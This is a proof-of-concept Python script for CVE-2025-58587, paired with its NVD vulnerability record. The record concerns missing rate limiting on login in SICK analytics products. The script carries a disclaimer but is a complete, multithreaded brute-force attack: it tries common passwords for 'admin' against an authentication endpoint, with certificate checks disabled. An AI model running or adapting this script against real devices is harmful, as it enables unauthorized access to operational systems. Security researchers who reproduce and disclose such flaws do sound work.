CVE-2025-58587

# CVE-2025-58587 PoC - Brute Force Attack against SICK Product Authentication # WARNING: This code is for educational and authorized testing purposes only. # Unauthorized access to computer systems is illegal. import requests import time import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-sick-device/auth/login" # Replace with actual authentication endpoint USERNAME = "admin" # Target username PASSWORD_LIST = ["admin", "password", "123456", "sick", "root", "test"] THREADS = 10 TIMEOUT = 10 def attempt_login(password): """ Attempt a single login with the given password. Returns True if login is successful, False otherwise. """ try: session = requests.Session() data = { "username": USERNAME, "password": password } response = session.post( TARGET_URL, data=data, timeout=TIMEOUT, verify=False, allow_redirects=False ) # Check for successful authentication indicators # Adjust based on the target application's response behavior if response.status_code == 302 or "dashboard" in response.text.lower(): print(f"[+] SUCCESS: Username='{USERNAME}', Password='{password}'") return True elif "invalid" in response.text.lower() or "failed" in response.text.lower(): print(f"[-] Failed: Password='{password}'") return False else: print(f"[?] Unexpected response for password='{password}': {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Error with password='{password}': {e}") return False def brute_force_attack(): """ Execute brute force attack demonstrating the lack of rate limiting. """ print(f"[*] Starting brute force attack against {TARGET_URL}") print(f"[*] Target username: {USERNAME}") print(f"[*] Password list size: {len(PASSWORD_LIST)}") print(f"[*] Threads: {THREADS}") print("-" * 60) # Note: No delay between attempts - demonstrating the vulnerability # The server does not implement rate limiting, allowing rapid attempts with ThreadPoolExecutor(max_workers=THREADS) as executor: results = list(executor.map(attempt_login, PASSWORD_LIST)) successful = sum(results) print("-" * 60) print(f"[*] Attack completed. Successful logins: {successful}/{len(PASSWORD_LIST)}") if __name__ == "__main__": requests.packages.urllib3.disable_warnings() brute_force_attack()

{"cve": {"id": "CVE-2025-58587", "sourceIdentifier": "[email protected]", "published": "2025-10-06T07:15:35.560", "lastModified": "2026-01-27T19:46:29.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The application does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame, making it possible for an attacker to guess user credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sick:baggage_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "E62416BA-1BF1-43BD-98B2-57BD34128419"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:enterprise_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "04E8EA78-2780-40C0-B5BA-6CF99DE6355B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:logistic_diagnostic_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "27031959-2981-4755-9E3D-02CD083F2B72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:package_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "5955214B-0D71-449A-BFD4-8804FDF91CA1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:tire_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "86C0BA69-E701-45A3-ADA5-130B8AD9DF15"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}